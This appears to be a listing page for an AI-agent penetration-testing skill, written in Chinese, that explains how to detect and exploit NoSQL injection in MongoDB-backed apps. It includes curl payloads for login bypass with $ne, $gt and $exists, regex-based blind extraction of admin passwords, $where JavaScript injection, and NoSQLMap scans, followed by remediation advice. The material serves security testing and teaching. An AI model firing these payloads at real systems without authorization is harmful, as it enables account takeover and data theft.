exploiting-nosql-injection-vulnerabilities
检测并利用 MongoDB、CouchDB 和其他 NoSQL 数据库中的 NoSQL 注入漏洞,以演示身份验证绕过、数据提取和未授权访问风险。
Best use case
exploiting-nosql-injection-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
检测并利用 MongoDB、CouchDB 和其他 NoSQL 数据库中的 NoSQL 注入漏洞,以演示身份验证绕过、数据提取和未授权访问风险。
Teams using exploiting-nosql-injection-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-nosql-injection-vulnerabilities/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-nosql-injection-vulnerabilities Compares
| Feature / Agent | exploiting-nosql-injection-vulnerabilities | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
检测并利用 MongoDB、CouchDB 和其他 NoSQL 数据库中的 NoSQL 注入漏洞,以演示身份验证绕过、数据提取和未授权访问风险。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 NoSQL 注入漏洞(Exploiting NoSQL Injection Vulnerabilities)
## 适用场景
- 在对使用 NoSQL 数据库的应用程序进行 Web 渗透测试期间
- 测试由 MongoDB 或类似数据库支持的身份验证机制时
- 评估接受 JSON 输入用于数据库查询的 API 时
- 在具有 NoSQL 后端的应用程序漏洞奖励计划中
- 对数据库查询构建进行安全代码审查时
## 前置条件
- 支持 JSON 的 Burp Suite Professional 或 Community Edition
- 已安装 NoSQLMap 工具(`pip install nosqlmap` 或从 GitHub 安装)
- 了解 MongoDB 查询操作符($ne、$gt、$regex、$where、$exists)
- 目标应用程序使用 NoSQL 数据库(MongoDB、CouchDB、Cassandra)
- 配置好用于 HTTP 流量拦截的代理
- 用于自定义有效载荷脚本的 Python 3.x
## 工作流程
### 步骤 1:识别 NoSQL 注入点
```bash
# 寻找基于 JSON 的登录表单或 API 端点
# 常见指标:应用程序接受 JSON POST 体,使用 MongoDB
# 使用基本语法破坏字符进行测试
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# 测试查询参数中的操作符注入
curl "http://target.com/api/users?username[$ne]=invalid"
# 检查基于错误的检测
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
```
### 步骤 2:执行身份验证绕过
```bash
# 使用 $ne 操作符进行基本身份验证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# 使用 $gt 操作符绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# 使用正则表达式针对特定用户
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# 使用 $exists 操作符绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
```
### 步骤 3:使用基于布尔的盲注入提取数据
```bash
# 使用 $regex 逐字符提取用户名
# 测试管理员密码的第一个字符是否为 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# 测试前两个字符是否为 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# 使用正则表达式枚举用户名
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
```
### 步骤 4:通过 $where 利用 JavaScript 注入
```bash
# 通过 $where 操作符进行 JavaScript 注入
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# 通过 sleep 进行基于时间的检测
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# 通过 $where 和字符串比较进行数据外泄
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
```
### 步骤 5:使用 NoSQLMap 进行自动化测试
```bash
# 克隆并安装 NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# 对目标运行 NoSQLMap
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# 替代方案:使用 nosqli 扫描器
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
```
### 步骤 6:测试 URL 参数注入
```bash
# 基于参数的注入(GET 请求)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# 通过 URL 参数的数组注入
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# 如果后端处理,通过 HTTP 头注入
curl http://target.com/api/profile \
-H "X-User-Id: {'\$ne': null}"
```
## 核心概念
| 概念 | 定义 |
|---------|-------------|
| 操作符注入(Operator Injection) | 向查询参数注入 MongoDB 操作符($ne、$gt、$regex) |
| 身份验证绕过(Authentication Bypass) | 使用操作符匹配任意文档并绕过登录检查 |
| 盲提取(Blind Extraction) | 使用 $regex 布尔响应逐字符提取数据 |
| $where 注入 | 通过 $where 操作符在 MongoDB 服务器上执行任意 JavaScript |
| 类型混淆(Type Juggling) | 利用 NoSQL 数据库处理不同输入类型(字符串与对象)的方式 |
| BSON 注入 | 操纵 MongoDB 线协议中的二进制 JSON 序列化 |
| 服务器端 JS | MongoDB 中可用于查询评估的 JavaScript 执行上下文 |
## 工具与系统
| 工具 | 用途 |
|------|---------|
| NoSQLMap | 自动化 NoSQL 注入检测和利用框架 |
| Burp Suite | 用于拦截和修改 JSON 请求的 HTTP 代理 |
| MongoDB Shell | 用于测试查询行为的直接数据库交互 |
| nosqli | 专用 NoSQL 注入扫描器和利用工具 |
| PayloadsAllTheThings | 精心整理的 NoSQL 注入有效载荷存储库 |
| Nuclei | 带有 NoSQL 注入检测模板的基于模板的扫描器 |
| Postman | 用于构建 NoSQL 注入请求的 API 测试平台 |
## 常见场景
1. **登录绕过** — 在用户名和密码字段中使用 `{"$ne": ""}` 操作符注入绕过 MongoDB 支持的身份验证
2. **数据枚举** — 当没有直接输出可见时,使用 `$regex` 盲注入逐字符提取数据库内容
3. **权限提升** — 通过配置文件更新端点中的 NoSQL 注入修改用户角色字段
4. **API 密钥提取** — 通过基于布尔的盲技术提取存储在 MongoDB 集合中的 API 密钥或令牌
5. **账户接管** — 通过正则表达式注入枚举有效用户名,然后通过基于操作符的身份验证绕过暴力破解密码
## 输出格式
```
## NoSQL 注入评估报告
- **目标**: http://target.com/api/login
- **数据库**: MongoDB 6.0
- **漏洞类型**: 操作符注入(身份验证绕过)
- **严重性**: 严重(CVSS 9.8)
### 易受攻击的参数
| 端点 | 参数 | 注入类型 | 影响 |
|----------|-----------|---------------|--------|
| POST /api/login | username | 操作符($ne) | 身份验证绕过 |
| POST /api/login | password | 正则($regex) | 数据提取 |
| GET /api/users | id | $where JS 注入 | 潜在 RCE |
### 概念验证
- 使用以下内容实现身份验证绕过:{"username":{"$ne":""},"password":{"$ne":""}}
- 通过盲正则注入提取了 3 个管理员密码
- 通过 $where 操作符确认 JavaScript 执行
### 修复建议
- 使用带有 MongoDB 驱动清理功能的参数化查询
- 实施输入类型验证(在预期字符串的地方拒绝对象)
- 在 MongoDB 配置中禁用服务器端 JavaScript 执行($where)
- 应用最小权限数据库访问控制
```Related Skills
triaging-vulnerabilities-with-ssvc-framework
使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。
testing-for-xxe-injection-vulnerabilities
在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。
testing-for-xss-vulnerabilities
通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
testing-for-xss-vulnerabilities-with-burpsuite
在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
testing-for-xml-injection-vulnerabilities
测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。
testing-for-open-redirect-vulnerabilities
通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。
testing-for-json-web-token-vulnerabilities
测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。
testing-for-host-header-injection
测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。
testing-for-email-header-injection
测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。
testing-for-business-logic-vulnerabilities
识别应用程序业务逻辑中的缺陷,这些缺陷允许价格操控、工作流绕过和权限提升,超出技术漏洞扫描器的检测范围。
testing-android-intents-for-vulnerabilities
测试 Android 进程间通信(IPC)中 Intent 的安全漏洞,包括 Intent 注入、未授权组件访问、 广播嗅探、PendingIntent 劫持和 ContentProvider 数据泄露。适用于评估 Android 应用导出组件 攻击面、测试 Intent 数据流或评估 IPC 安全性的场景。适合涉及 Android Intent 安全、IPC 测试、 导出组件分析或 Drozer 评估的相关请求。
prioritizing-vulnerabilities-with-cvss-scoring
通用漏洞评分系统(CVSS)是由 FIRST(事件响应和安全团队论坛)维护的行业标准框架,用于评估漏洞严重性。CVSS v4.0 于 2023 年 11 月发布,引入了更精确的评分指标。